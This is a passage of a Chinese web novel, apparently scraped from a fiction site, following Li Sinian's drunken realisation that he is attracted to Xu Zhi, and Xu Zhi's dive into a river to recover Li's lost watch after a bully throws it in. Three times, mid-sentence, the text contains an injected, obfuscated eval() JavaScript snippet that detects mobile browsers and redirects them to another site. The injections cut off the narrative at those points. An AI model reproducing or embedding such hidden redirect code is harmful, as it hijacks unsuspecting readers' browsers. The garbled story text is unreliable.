李斯年没急着开口回绝,他仔细地看每一个人,高的瘦的、矮的胖的,笑着的、装酷的、不怀好意的、一脸诚恳的,穿西装的、打领带的、休闲服的、哥特风的…… 没有一个是他喜欢的模样。 眼看今晚的测试又没能的得到结果,李斯年有些兴致阑珊,摆摆手:“不了不了。” “诶,帅哥怎么一点面子都不给啊——” 那几人还想纠缠几句,是吴琛站了出来,他亲昵的揽住李斯年的肩膀,笑着拨开面前的人:“好啦,这次不行还有下回嘛,我朋友是真有事,我先陪他回了。” 说着,将李斯年带出了Melody。 出了门,吴琛的手却没松开,就这么慢悠悠带着李斯年往巷口走。 巷子窄,风走得急,凉风一吹,李斯年觉得头更晕了。 他今天没吃晚饭就跑来这里,一杯酒下肚,刚才还没觉得什么,此刻却感觉胃里烧的难受,火辣辣的感觉顺着食道蔓延到四肢,头也更晕了。 走到了大道上时,来来往往的车灯在李斯年眼里已经像是连成线的流星。 他用仅存的理智得出判断出,自己这是醉的不轻,于是拨开吴琛揽在自己肩上的手:“到这里就行了,谢谢。” 吴琛却是一笑,被拍下的手又顺势箍上了李斯年的腰,他五指收的紧,贴着李斯年腰侧结实的肌肉:“你刚主动拿了曼哈顿,我还以为你酒量好,怎么这就醉了?” 李斯年被他这样触碰着,尽管是隔着衣服,但心中还是没由来的泛起一股恶心,他冷着脸:“放手。” “翻脸这么快?”话这么说,但吴琛反而一笑,他以为李斯年在欲擒故纵,“大晚上来这,不就是找乐子吗?白喝了我一杯酒就要走,那可不行。” 李斯年沉默片刻,突然笑了一声,他觉得挺好笑的,自己跑来这里想验证一个结果很好笑、有生之年还能被其他男人调戏也很好笑。 吴琛有点莫名其妙,刚要问“笑什么”,李斯年的手就抓上了他的手腕。 他猛地发力,而吴琛没料到喝醉的人还有这样的力气,被轻而易举的甩开了手,而李斯年整个人也随之被力道牵引着往后倒去,连步踉跄,想要控制腿脚,却只觉得发软。 眼看背部就要正撞上电线杆子,没想到下一秒,却落进了一个柔软的怀抱。 李斯年被扶稳,侧头看去,亮晃晃的路灯晕出一圈黄色的光,笼罩在那人脑后,他的发丝被光勾勒出浅棕颜色,漂亮的五官反而被没在了一片阴影之中。 “你怎么在这?”李斯年问出口,才发现自己说话有点大舌头。 “这话该我问你吧。”许之看看他、又看看吴琛,有点拿不准:“你朋友?” “不是,不认识。”李斯年摇头,拽着许之的手就要走,他并不想被许之知道自己今晚去过gay吧,“走吧,回家。” 吴琛似乎还想再努力一下,上前一步:“他还欠我一杯酒呢。” “什么酒?”许之抬头看向吴琛,问。 刚才背光,又隔了些距离,吴琛只看到许之穿着宽松又脏污的工作服,如今瞧见他的脸,心下一咯噔。 怎么会有男生能长得这幅模样? “惊艳”二字瞬间就变得具象化,吴琛虚张着嘴,却将想说的话都忘了个干净。 许之目光从他身上扫过,心中稍稍有些猜测,只是不知道李斯年是怎么被这种人缠上的,他冷着脸,也没想等吴琛的回答,扶着李斯年走远了。 29. 确定 许之搀着李斯年走了大半条街,都没看到公交站台,李斯年的醉意越来越浓,走路歪歪扭扭,脚下活像是穿了冰鞋似的,一走一个打滑。 他几乎将身体所有重量都压在许之身上,许之吃不消,短短十分钟的路,二人硬是摔了四五个跟头。 李斯年是始作俑者,但许之要护着他,结果最后和地面接触的还是许之。 许之叹了口气,终于还是拦下一辆出租车。 李斯年喝醉了倒是不发酒疯,上车后,就安安静静的把脑袋靠在一侧车窗上。 偶尔遇到路上颠簸时,头会磕到玻璃,于是“诶唷”一声,被迫坐直,但没坚持多久又开始摇摇晃晃,像是不记性似的,脑袋又靠了上去。 许之听到第四声“诶唷”之后,终于忍不住伸过手,揽着他的肩膀,让人靠在了自己身上。 “谢谢你。”李斯年说。 被揽着还挺舒服的,他完全没有刚才被吴琛接触时那种厌恶的感觉。 许之发现他喝醉之后像是变回小孩子,那种客客气气、家教良好的小孩子,咬字发音一顿一顿,还怪可爱的,于是轻轻“嗯”了声。 李斯年头挨着许之的肩,风从前排窗户吹进,带起一阵灰味儿,他鼻头耸动,认认真真嗅了嗅,有点委屈的嘟囔道:“柑橘味没了。” “什么?”许之没听清。 李斯年目光低垂,看了会许之身上的衣服,伸出两根手指,捏起衣角,眉头疑惑的皱起:“这么脏?” 许之以为他是爱干净,嫌弃了,于是把他扶起来,但李斯年却觉得直起身体不如刚才舒服,于是又自己靠了上去。 “我今天在一个木材店打工,所以衣服上都是木屑渣子。”许之解释。 他原本该是脱掉工作服再离开的,但突然看到街对面李斯年和人纠缠,于是急着赶过去了。 又在打工,李斯年心想。 他现在处于一个很奇妙的状态,开口说话会觉得累,好像也很难说清楚,脑子大部分区域是一团浆糊,却有一部分出奇的清醒,还转的飞快。 他其实很喜欢看到许之每每说起自己打工存钱时坦荡又自然的模样,他是自尊心强,但却不市侩、不虚荣,他不喜欢旁人怜悯的目光,却也不惧于承认贫穷。 像是天地间一棵挺拔笔直的树木,任凭晴雨,自生自长。 李斯年就算向来是个乐天派的性格,但其实也是会对生活抱怨的,他从不掩饰自己对李宇的恨、对郑秀的思念。 可是许之却把这些情绪都藏的很好,藏到最后,甚至叫人不确定那些东西是否真的存在过。 他总是默默的承受,然后继续坚定迈往想走的那条路。 这样有着一颗坚韧不拔内心的人,或许是很值得佩服吧? 但李斯年却觉得,这样都放在心里,实在是太难过了。 醉意拂去了名为理智的那一层盖纱,他想到什么就觉得应该做什么,于是人随心动的长手一伸,环住了许之。 许之一愣:“怎么了,想吐吗?” 李斯年懒得讲话,摇头,理所当然的想,当然是抱抱你了。 他早就想这么做了,之前是因为什么来着,有点不记得了,但那不重要。 李斯年手臂收紧了些,一只手抓住另一只手臂,丈量着,由衷的说:“你真的太瘦了,这次不合格,下次再量。” 说完,不给人反应的机会,又径直松开了手。 许之有点无奈,他又不能真的跟喝醉的人较劲认真,于是只是顺着话说:“是是是。” 李斯年听了这话,像是只被顺毛捋的小狗,嘿嘿一笑,又昏昏沉沉不再做声。 借许之吉言,临近三岔巷子时,李斯年还真胃里一阵翻滚,他捂着嘴,好不容易挨到停车,从车里冲了出去,哇呜一声在路边垃圾桶大吐特吐。 像是把脑子里那团浆糊吐出来了似的,吐完后,李斯年觉得有一部分清醒回来了,但是脚下还有些轻飘飘。 刚抬起身,一瓶拧开的矿泉水便递到了面前。 李斯年漱了口:“多谢。” 许之听出他说话咬字又恢复正常了:“能自己走了吗?” 李斯年拿着水瓶的手略微一顿,感觉脑子又糊了几秒,他听到自己开口说:“不行。” 于是许之又搀着他,从巷子口走到了出租屋,打开门,顺势将人弄到了床上,又帮他脱了鞋。 “你现在感觉怎么样?”许之问。 “晕。” “怎么一个人喝成这样,是不是那天回去拿被褥时碰到你爸了?”许之问。 “没有,他才不会回家,和新老婆快活得很……”李斯年话说一半,突然觉得不妥当,赶紧闭上了嘴。 许之倒是不怎么介意,只觉得李斯年一脸慌张的紧抿着嘴的模样又很像小孩子。 其实他知道,李斯年对李宇有怨,就说明还是在乎,因此在乎,才会心里惦记着想要得到一个解释,不过李斯年自己肯定不会承认。 “那为什么喝酒?”许之问。 见他不计较,李斯年心下一松,一个不留神,又嘴瓢半句:“因为我想知道……” “知道什么?” 李斯年眨眨眼,把后半句话咽了回去,真诚道:“喝醉是什么感觉。” 挺任性又无厘头的理由,倒也符合小少爷的心性。 于是许之便不再问,他扯过被子,想帮李斯年盖上,看到他细蓝条纹衬衣的领口湿了一片,大概是刚才吐时弄的。 “衬衣脏了,脱了再睡吧。”许之说着,看李斯年的模样也不像是有力气,于是就好心帮他脱。 他先将李斯年右边的袖子脱下来,其余的衣服被压在身下,李斯年懒得坐来,于是只是用手臂稍微撑起上半身,许之便将右手伸到李斯年背后,把剩下的衣服往自己左手递过。 这样的姿势,好像是在拥抱。 李斯年轻轻抬眼,许之分明的下颚线连接着白皙的脖颈,近在眼前,流畅的线条一直往下,没入衣领之中,再就看不到了。 但李斯年却忍不住继续往下想,二人距离这么近,淡到几乎难以察觉的柑橘味忽然又冒了出来,而且那味道是温热的,沾了体温,也掺了汗味。 李斯年脑袋里嗡得一下,忽然空白了。 他曾在一些课文里看到过类似“心跳声”的描写,当时还觉得是艺术夸张,但此时此刻,他真的能听到。 咚咚咚,咚咚咚。 又快又急。 李斯年隐约感觉到身上某处发生了变化,但在这一瞬间思绪却变得极其滑溜,抓不住,也摸不着。 他知道,自己应该赶紧拉开距离,但身体却僵硬在原地不受控制,甚至还有一股冲动,想要抬手扯过对方的领口,让这味道再近些。 就在这时,眼前的人忽然起身,原来是衬衣另一边袖子也已经脱下来了。 “好了,睡吧。”许之并没察觉到李斯年的异常,他将衬衣丢进了洗衣机,“明天要是起来还是头疼,就吃点清淡的粥类、水果也行。” 从前许茜常常宿醉,他倒是因此得到一些经验。 说完,见李斯年在发愣:“你听到没?” “啊……啊,好。”李斯年转过头,不知怎么的,目光看起来有点躲闪和迷茫。 许之以为是他醉劲又起来了,抬手关上大灯:“如果有事,也可以给我打电话。” 说完,便离开了。 门“咣当”关上之后,李斯年猛地搓了一把脸,他低声骂了句,撩起被子,跑到卫生间,把水龙头开到最大。 这个季节,夜里水龙头里的水已经能称得上是冰凉,但他还是往脸上连扑了几轮。 水珠四溅,将李斯年前额的黑发也都沾湿了,他直起身子,看向镜子里的自己,从来没有觉得这样陌生过。 或许是因为喝了酒,他完全压制不住身体的那股冲动,哪怕到了现在,也仍然不可忽视。 或许是脑子里所有的混沌都跑去了那处,李斯年反而清醒了不少。 所以说…… 他好像不是喜欢男生,也不是喜欢女生。 他是喜欢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15401241|168693||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上许之了。 - 次日是个晴天,直到中午李斯年那边都没有动静,于是许之发了条消息,问他感觉怎么样。 放下手机,就听到赵婶那边在喊开饭,许之看了眼时间,下午两点之前赶去木材店就行,于是下楼吃饭。 饭吃到一半,李倾诺问:“我哥现在怎么样?” 许之微愣:“你怎么知道的?” 李倾诺一脸疑惑:“知道什么?我不是还去出租屋看到他戴着固定器了么?” 原来她问的是李斯年的脚伤,许之还以为是醉酒的事:“固定器都拆了,现在走跑都正常,半年内避免剧烈运动就好。” 李倾诺“哦”了声,喝几口汤,眼珠子转了转:“你刚才的意思,我哥还有什么别的我不知道的事儿?” 这兄妹俩的机灵劲儿真是一模一样,既然话赶话问到这里,许之也觉得没什么好瞒,照实说了:“昨晚我在路边偶然遇到他,他喝醉了酒。” “啊?为什么?”李倾诺问 “他说……‘想知道喝醉是什么感觉’。” 李倾诺扑哧一笑,努努鼻子,嘲笑道:“他还不知道喝醉的感觉么?之前妈妈过生日,他非要吵着喝那个红酒,还说自己肯定能千杯不倒,结果你猜怎么着?只喝了一杯,人就倒了,最后还是江叔给他驮回来的!” 这么说,李斯年昨天是撒谎了,许之不动声色的想着。 “那他今天酒醒了没?上一回可是宿醉到次日晚上呢。”李倾诺又问。 许之看了眼手机,李斯年还是没回消息,他调出通讯录:“我打电话问问。” 听筒内嘟了十几秒,就在许之以为对方还没睡醒时,电话接通了。 “喂?” 许之愣了愣,电话那头太嘈杂了,像是在人来人往的大马路,李斯年的声音有气无力的传过来。 旁边李倾诺努力打手势,许之于是一边按了免提、一边问:“你在哪啊?” “噢,我在杨川大道,有个东西弄丢了,过来找找。”杨川大道就是昨晚许之碰到李斯年的地方。 “丢什么东西了?”许之记得李斯年昨天是两手空空,没背包,好像就带了个手机。 “手表。”李斯年似乎不欲多说,“没关系,我找找看,找不到就算了,先挂了啊。” 说完,就挂了电话。 李倾诺的表情却忽然有点凝重,她思索片刻,说:“我哥好像只有一块手表。是2012年儿童节,妈妈送我们的礼物,然后那年10月份,妈妈就出了事……这些年,我看哥哥几乎是手表不离身的。” 这块表对于李斯年的意义不言而喻,但许之努力回忆,却怎么都想不起昨天见到李斯年时,他戴没戴表。 而且从搀着他走、到上出租车那段路上,还摔了不少次,也不知道是不是那时弄掉的…… 许之有点自责,李斯年当时醉着什么都不知道,但他是清醒的,怎么没能再多留意一些呢? 刚才电话里,李斯年的声音听起来恐怕还在宿醉中,这样一个人在大马路上找表,简直像是大海捞针。 许之越想越觉得还是不能袖手旁观,他放下吃了一半的碗筷,问:“那块表,是什么样的?” 李倾诺伸出手,给他看自己手腕上的:“我的是粉色、我哥是黑色,他表盘比我大一圈,都是金属表带,表盘上的数字是星星形状的,两边有按钮。” 这表一看就价格不菲,而且是定制的,做工精细、设计巧妙,许之想,通常有钱人家给孩子配表,好看是其一、功能性或许也要兼顾,问:“这个表有没有实时定位功能?” “我哥不喜欢那种,觉得没有隐私,表侧面有一个隐形的紧急呼叫按钮,只有按了才会发送定位,从前是发给爸妈,妈妈走后,就改成了发给我爸和江叔。”李倾诺说。 试图用定位去找表看来是行不通了,总不能一直等着对方什么时候按按钮吧。 “你的手表,我能拍张照吗?”许之征得李倾诺同意后,拿出手机拍好照,然后起身,穿上鞋就出了门。 30. 寻找 今天的太阳还挺大,许之打车去杨川大道,路上给木材店发了消息,说下午自己来不了了。 下车后,他先去昨天遇到李斯年的地方找了一圈,没看到人,正想打电话,就见到他从一个巷子往外走。 李斯年早上九点多醒来,习惯性抬手看时间,就是那时发现手表不见的。 他先是在屋内和三岔巷子找了一圈,又给出租车公司打了电话,都是一无所获,他胃里还被昨晚尚未消散的酒气拧着,也根本没心思吃东西,只是赶紧跑来杨川大道。 他先是去melody找了一圈,大白天的,还没营业,但老板人挺好,看他这么着急,便给他调了监控,能看到在出清吧时,手表还在手腕上的。 难道是后来和吴琛拉扯时,被动了手脚? 但那人看起来似乎是意在色而不在财,况且昨天李斯年故意避开了大学的话题,吴琛自然也没提自己在哪里上学,这上哪找人去…… 正苦恼着,抬眼就看到路边许之高高瘦瘦的身影。 李斯年没料到许之会过来,但不得不承认,在看到他的瞬间,从醒来到现在充斥内心的焦急不安,终于稍稍消散了些。 “还没找到吗?”许之问。 李斯年闷声“嗯”了,他出门出的急,套了件白色短袖,连镜子都没照,自然不知道自己现在脸色差的厉害。 许之眉头皱起:“你是不是起床还没吃东西?” 虽是问句,但他知道答案,不由分说的把人拉近了街边的一家便利店,买了些粥和包子。 “先吃点东西,我去找。”许之说。 李斯年闻到粥水咸香的气味,才后知后觉感到饿,但他实在是心里惦记手表,想要提着袋子往外走:“边吃边找吧。” “坐着吃。”许之不容置疑的把人按回了座位:“李倾诺和我说过了表是什么样,放心,我肯定帮你找到。” 许之声音平平稳稳,让人有一种他若不说也就算了,但既然开口,就会达成的感觉。 粥的温度从手心传来,承诺的话语落进李斯年胃里,他对上许之坚定的目光,终于是听话的拆开粥碗盖子:“好。” 许之离开便利店,从巷口沿路往外找,杨川大道算得上是江城几大主干道之一,每日吞吐量惊人,更不用说周末的白天了。 一辆又一辆车行驶而过,声响密集而嘈杂,大道的红绿灯多、红灯时间也长,经常有急性子的人车喇叭长鸣,连带着听到的人也不由得烦躁起来。 许之刚才为了让李斯年安心坐下吃饭,才许下了承诺,但其实他很清楚,这不是件容易的事情。 距离昨晚已经过去差不多十几个小时,况且那表一看就不便宜,谁看到了都会捡去的。 虽然内心不乐观,但许之还是仔仔细细在路缘石、栏杆底部、绿化带等不起眼处翻找过去,然后又顺着大路找回来。 没有什么发现。 许之在入了秋的季节里汗湿了衣背,汗珠顺着脸侧滑下,他站在路边许久,抬头看着临街的诸多店铺,沉思之后,决定将目标转向沿路店铺的摄像头。 一家一家店问去,是挺吃力不讨好的活。 有些店家自称关门后就给摄像头断了电,还有很多店家拒绝给一个不知来路的人随便看监控,态度自然也好不到哪里去,轻则怀着疑窦的目光挥手让他离开,重则言辞不善的说再不走就要报警。 最后,许之只成功看到三个监控,好在运气不错,在第二个视频内,他看到昨晚两个人走到杨川大道尽头时,李斯年的手表还在腕间。 也就是能排除掉几乎整个杨川大道了。 许之记得,他们昨晚是在大道尽头过了个桥,去对面路边打的出租车,而上桥时,李斯年有一步台阶没迈开脚,差点连带着许之一起滚下去。 他抱有一丝希望,希望表就掉在桥上的某处,然而原路寻了一遍,直到上出租车的地方,仍然一无所获。 到此为止,昨晚走过的路算是全部检查了个遍。 难道真的找不到了么? 许之叹了口气,刚想往回走,忽然听到右下方边一阵嬉笑欢呼。 驻足看去,原来是有几个小孩在水边捡石头打水漂,刚才似乎是有人打出了一个漂亮的,正兴奋地手舞足蹈。 手表会不会掉进水里了?这样的念头从许之脑海中闪过,他迈步往桥侧走,忽然听到背后有人叫他。 “许之?还真是你啊。”魏旬背着双肩书包,鼻梁上厚厚的眼镜滑下一半,就连周末在路上偶遇,都是这样一副标准的好学生模样。 他看着许之要去的方向:“你去河边做什么,可别下水啊?这水虽说不深,但也至少三米往上了,老师说过,不要随便一个人去这种水域玩的。” 许之懒得和他解释,手撑着桥根下的柱子,借力跳了下去。 “诶,你这人怎么这么没礼貌?我和你说话呢!”魏旬不依不饶的走上前,但他不敢跳下去,只是站在边缘,“你这样很危险,我不能眼睁睁看着,你如果再不上来,我就去找警察了。“ 许之不耐烦的转身:“我东西丢了,你去叫警察最好,多点人帮我找。” “你丢东西了?丢什么了?我家就在这附近,周末都去杨川大道上补习班,附近我都熟,派出所的警察叔叔我也认识,我帮你问问?” 魏旬絮絮叨叨说了一大堆,还不忘继续把人往上劝,“你先上来嘛,和我说说丢的东西是什么样,有照片吗?” 这人怎么能把热心表现成这么固执又讨人嫌的模样?许之不知道魏旬之前和李斯年有过口角,他只是单纯不太喜欢这个人,也没什么理由,是一种观感上的直觉。 于是只是敷衍道:“就是一块手表,不用麻烦,我自己找就行。” 许之说完,径直往河边走。 太阳稍斜,将水面照得金光粼粼,刺眼又夺目,他抬头看桥一侧的围栏,估算着昨天摔的那一跤若真把手表摔掉了,会大概对应到水边是什么位置。 他手边没有工具,也不一定能买到这么长的捞网,最好的办法是戴上泳镜游到水底去找,那手表挺重的,这点时间大概不会被冲很远吧? 许之心里也没底。 最重要的是……李斯年上次猜得没错,他的确不太会游泳。 说得再准确些的话,他只会仰泳和不换气的蛙泳,最难克服的其实还是内心对水的厌恶抵触。 许之想回头去找李斯年商量,看能不能让江叔帮忙找几个人来捞,一转身,看到魏旬竟然还在原地没走。 “诶,你找的那块表,是不是黑色的?”魏旬突然开口。 许之脚下一顿,这才正眼看他:“你怎么知道?” 魏旬扯了扯嘴角,却不像在笑,又急着补了一句:“表盘上的数字是星星钻石,对不对?” 许之抬腿跨上了大路边,走到魏旬面前,二人身高差了快一个头,魏旬得仰视看人,哪怕许之只是面无表情,也有足够的压迫感了。 “你见过那块表?在哪里见到的?”许之问。 魏旬抬手指了指岔路的另一条街:“刚从那边过来,我看到有人拿着这样的表,在找哪家店愿意收。” “那人长什么样?” “额……”魏旬支支吾吾了一会:“男的,头发是黄色的。” 说完,想了想,又补了句:“你还是快去看看吧,万一等下那人走了,不好找了。” 许之觉得这事儿有点巧,但魏旬既然能准确说出表的特征,肯定是见过,还是得去看看,于是说了声谢,转身就往岔路走。 魏旬等人走远些了,才抬起头,厚镜片反射着光,看不清他的目光,他就这样站在原地,直到看着许之身影消失在拐角,才手搭回书包背带上,慢悠悠地转身,走远。 拐角这条街比杨川大道窄了大半,只有左右双车道,繁荣程度也差了很多,大白天,很多店铺都是关着门没营业的。 许之沿路找,既没看到当铺或表店、也没见有黄发寸头的男人。 他心下生疑,难道是魏旬指错路了? 但刚才桥边对着的确实只有两条岔路,另一条是顺着河的,路边是绿化带,更没有店铺了。 整条路是弯曲的弧度,走到头,能看到杨川大道尽头的那条河蜿蜒至此。 河水侧边链接栅栏的地方有排楼梯,连接着一个一米不到的观景台,有几个看起来吊儿郎当的人靠在观景台边抽烟。 许之眼尖,看到其中一人正是黄色头发, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15401242|168693||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他快步走上前。 “你好,请问一下……”许之话说一半就顿住了,因为那几个年轻人转过身来,其中有个熟悉的面孔。 “哟,缘分啊。”钱霆嘴里叼着烟,咧开嘴笑。 “这人谁啊,钱哥,你的新相好?”黄发男用肆意眼神将许之从头到脚扫了个遍。 许之忍住转身离开的冲动,没有搭理钱霆,转向了黄发男:“你是不是捡到一块手表,黑色的,表盘数字是星星。” “是啊。”黄发男看了钱霆一眼,谄媚的撇嘴示意道:“那表一看就贵得很,我孝敬钱哥了!” 钱霆抬手一晃,他手腕上果然戴着李斯年的表,只是他是体育生,比李斯年要壮,这表戴在他腕间很不协调,箍得紧紧地,旁边的皮肤都拉扯着。 “这是李斯年的表。”许之说。 “啊,他的表,为什么是你来找?”钱霆玩味一笑,收回了手,半点没归还的意思,“我听说了,你妈是他爸找的新欢,这倒好,爸爸找妈妈,儿子找儿子,亲上加亲了。” 这话说得难听,其他人也跟着哄笑起来,但许之神色却没变,他知道钱霆不会这么容易就归还手表,言语上的羞辱也在意料之内。 他淡淡开口:“既然你看出这表是李斯年的,也该猜到,这是他爸专门找高奢品牌定制的款式,没有表店敢收这种来路不明的二手货,而你如果想自己戴着或者送人,那正好,警察到时候来抓你就是人赃俱获。” 这些钱霆自然知道。 只是他寻思着,这手表对李斯年应该挺重要,否则许之也不会专门来找,所以想借此让他服个软、讨个好,没想到这点心思却对方被一眼看穿,还反将一军。 他后槽牙咬得咯咯响,却偏偏没办法,这手表的确是无论如何都要还回去的。 上次因为围堵李斯年而去蹲局子时,钱霆就差点留案底,还是他爸到处找关系才把人给捞出来。 当天回到家,钱霆就被狠狠地打了一顿,并被警告说要是敢再招惹李斯年、或者闹进警察局,就打断他的腿。 李斯年家大业大,他们这种人是惹不起的。 这是钱霆他爸的原话。 钱霆想到这里,就觉得心里一窝火没处发,他横行霸道惯了,从来没受过这种气。 他目光扫向许之,忽然有了个主意。 李斯年他惹不起,但许之这种二婚前夫家带的拖油瓶,他还惹不起么? “表呢,我可以还给你。”钱霆说着,就摘了下来。 许之看了他一眼,明知事情不会这么容易,但还是伸出手。 果然,钱霆将手表勾在指尖一转,在许之手心快速滑过,又回到了钱霆手里。 旁边黄发男连同其他几个人发出起哄的嬉笑声。 “你到、底、想怎么样?”许之压着火,沉声问。 “你看你,怎么这么容易生气呢?这表是我兄弟捡的,你若是想要,也得自己捡,这才公平不是?”钱霆唇边勾着恶意的笑,有些人仿佛天生体内就住着恶魔,做起坏事来信手拈来,“去捡啊!” 说完,抬手,将手表丢进了水中。 “你!”许之将身体探出观景台,想去接,但仍然隔了距离,只能眼睁睁看着手表在空中划过一个抛物线,最后“扑通”落进河中,溅起不大不小的水花。 钱霆搓拍着手,慢悠悠道:“要我说啊,那种富二代,名表多了去了,丢一个又怎么样,大不了再买俩——” “卧槽!” 钱霆话没说完,就被黄毛男的惊呼打断,他猛地回头,只来得及看到许之没入水中时的那一瞬。 “他真跳下去了?!”钱霆瞪大了眼,“草,这小子长得女里女气,骨头真他妈的硬!” 许之跳进河里之后,水面波动了一阵,然后很快就恢复了平静。 仿佛刚才什么都没发生过。 观景台上的几个人面面相觑,不知谁先开口问了句:“他……会不会游泳啊?” “我哪知道去?!”钱霆四下一看,这条街本就偏僻,这个点儿,车辆往来匆匆,路边没什么人。 他想了几秒,一跺脚:“妈的!管他的,是他自己往里跳的,都没人碰他啊,管我们什么事,走走走!” 31. 晚霞 这么些年来,许之总是很擅长忍耐和等待、擅长将真实的情绪全部加以伪装,谋一个来日方长的最优解。 唯有的一次冲动,就是许贺亮晚自习后把他反锁在办公室的那天,他仓惶想逃走的时,摸到桌上的一把裁纸刀。 但今天,他也说不清自己为什么就这样往水里跳了。 如果重来一次,如果再理智一点…… 说实在的,他不知道自己还是否还会选择跳下观景台。 只是在看到手表落进水里的那瞬间,许之忽然就想起那日午后,昏暗光线下,少年沾满泪痕的脸。 这个年纪的男孩,都渴望被看做大人,行为举止无不自诩成熟,不喜欢对父母轻言眷恋与爱,对哭哭啼啼这种事更是不屑一顾。 但他却在睡梦中思念着母亲,眼角眉梢都染着伤心的模样。 而母亲去世前赠送的最后礼物,有多么珍贵,不言而喻。 许之还是希望他能多笑一笑,少一些烦心事。 这个愿望没什么由来,若非说其中有自私自利的成分在,那便是每当看到他笑意盎然的脸庞,那抹阳光似乎也能将余晖撒些在自己的心里。 其实,若真细数起来,他认识李斯年以来,得到的又何止余晖? 他那些不堪的、阴暗的、难以启齿的断壁残垣,被掀开了帷幕,踏进了脚步,被人拼拼凑凑、重建重塑,然后那人还告诉他:我觉得你挺好的。 在入水后,整个身体被水包裹的瞬间,许之心中升起一股几乎压抑不住的颤栗,那是人本能趋利避害的反应。 他咬着牙,逼迫自己忍住那股想要往水面逃去的冲动,屏住呼吸,手脚并用着,向深处游去。 他反复回忆着那块表的模样,让这件事更多的占据自己的思绪,而不去想这口气憋完了该怎么办。 魏旬有句话倒是没撒谎,这河水并不算深,也不算湍急,这是不幸中的万幸,许之很快便来到河底,在一片石头、水草中翻找。 小鱼被惊得四下窜游,许之心下着急,手拨的快,河底的泥沙被搅了起来,水变得浑浊,他勉强眯着眼,原本就不怎么样的能见度变得更差。 时间一分一秒的过去,许之偶尔觉得很快,肺部传来越来越清晰的窒息与刺痛感。 偶尔又觉得很慢,慢到手在泥土中翻找时,脑海里还能走马灯似的出现和李斯年相处的片段。 那些片段非常琐碎,琐碎到许之都惊讶于自己竟然会记得这些—— 他吃饭时拿筷子夹菜向前伸展的手指。 推开门威胁许贺亮时勾起坏笑的嘴角。 窄巷的夜晚,月光撒在肩头,然后流淌在宽阔的背上。 把脸凑近逗小猫时耸起的鼻头,眨眼间煽动的睫毛…… 肺里的气吐完了,许之知道自己已经到了极限,他摆动手臂,想要尝试往水面游,忽然余光瞟到一臂开外的砂砾中,似乎有一个颜色略深色的东西。 他想也没想,转身便去,伸手摸索片刻,很快就触碰到了一个明显金属质感的东西。 许之心下骤喜,松神的瞬间,憋到极致的身体起了自发地反应,猛地吸进去一口水。 肺部传来像是炸开般的痛感,他死死咬住嘴唇,试图重新闭上气,但气管随之开始无法自控的痉挛,逼得他不得不往外咳。 咳嗽的刹那,气道打开,无可避免又是水的灌入。 水面看似近在眼前,许之感觉自己游了很久,却像是原地不动,有那么几个瞬间,他甚至不能分辨着是现实还是梦境,视线很快也开始变得模糊。 冰凉的水像是无数长蛇,卷上他的四肢和腰腹,沉重与疲倦席卷而来,胸腔的剧痛又迫着他保持清醒。 神志开始融散,这样的感觉很熟悉。 许之觉得那双手好像又出现在了自己的头顶,他努力向往上抬,但只能听到脖颈骨头之间咔咔的声响。 那是另一个黄昏。 “我叫你还手!”男生膝盖顶着许之的后腰,一手按着他的头进水里、一手指着自己领口胸前毫无伤痕痕迹的皮肤:“敢用笔戳老子,是吧?” 他回头招呼旁边的人:“过来搭把手!” “老大,还、还是算了吧?”旁边的人难得有点犯怵,“这小子好像不会水,万一真出了事……” “别他妈废话!这片烂尾楼八百年没人来,再啰嗦连你一起丢进去!” 那几人吓得一哆嗦,不敢再言语,闷着头走过来,有的人抬起了许之的腿,有的人拖起了他的身体。 “2——1——丢!”男生指挥着,众人往前一撒手,许之就跟断了线的风筝似的,被丢进了池塘。 巨大的水花被溅起,撒了一岸。 那时是初冬,水特别冷,人一坠入水中,似乎不被呛死也要被冻死。 关于过程的记忆是很模糊的,许之只记得,最后,他是走运抓到一块断了半截的木板,飘荡着到岸边的。 那些人看完热闹就离开了,不然他也没有机会往岸上去。 他强撑着最后一口气,刚爬上去两三米,就双眼一黑,昏了过去。 不知过了多久,再次恢复意识时,他发现自己仰面躺在岸边泥地里,天已经彻底黑了。 郊区空气好,入眼是满天繁星,但唯独看不到月亮。 许之感觉四肢都是软的,使不上力气,孤独感爬上心头,在那瞬间,他忽然很希望这时有谁能路过,伸手拉自己一把,让他离开冰冷黏腻的泥岸。 但转念,他又开始厌恶自己的“希望”,因为无数次经历告诉他的是,希望的东西永远不会到来。 “许之——” 有个人在叫他。 是谁?许之想要坐起身,想要转头看,但却动弹不得。 “许之!” 这个声音听起来很着急、很担心。 肯定不会是许贺亮,许茜前两天刚去外地,也不可能是她。 自己在学校里没有朋友,没人知道他放学时在门口被人拦住,然后带到这种荒郊野岭的地方。 “醒醒,许之,求你了……” 这声音带上了哭腔,仓皇又无助。 许之听在耳里,也不由跟着难过起来。 他很想开口,说自己就在这里,但嗓子却像是堵了棉花,怎么都发不出声音。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 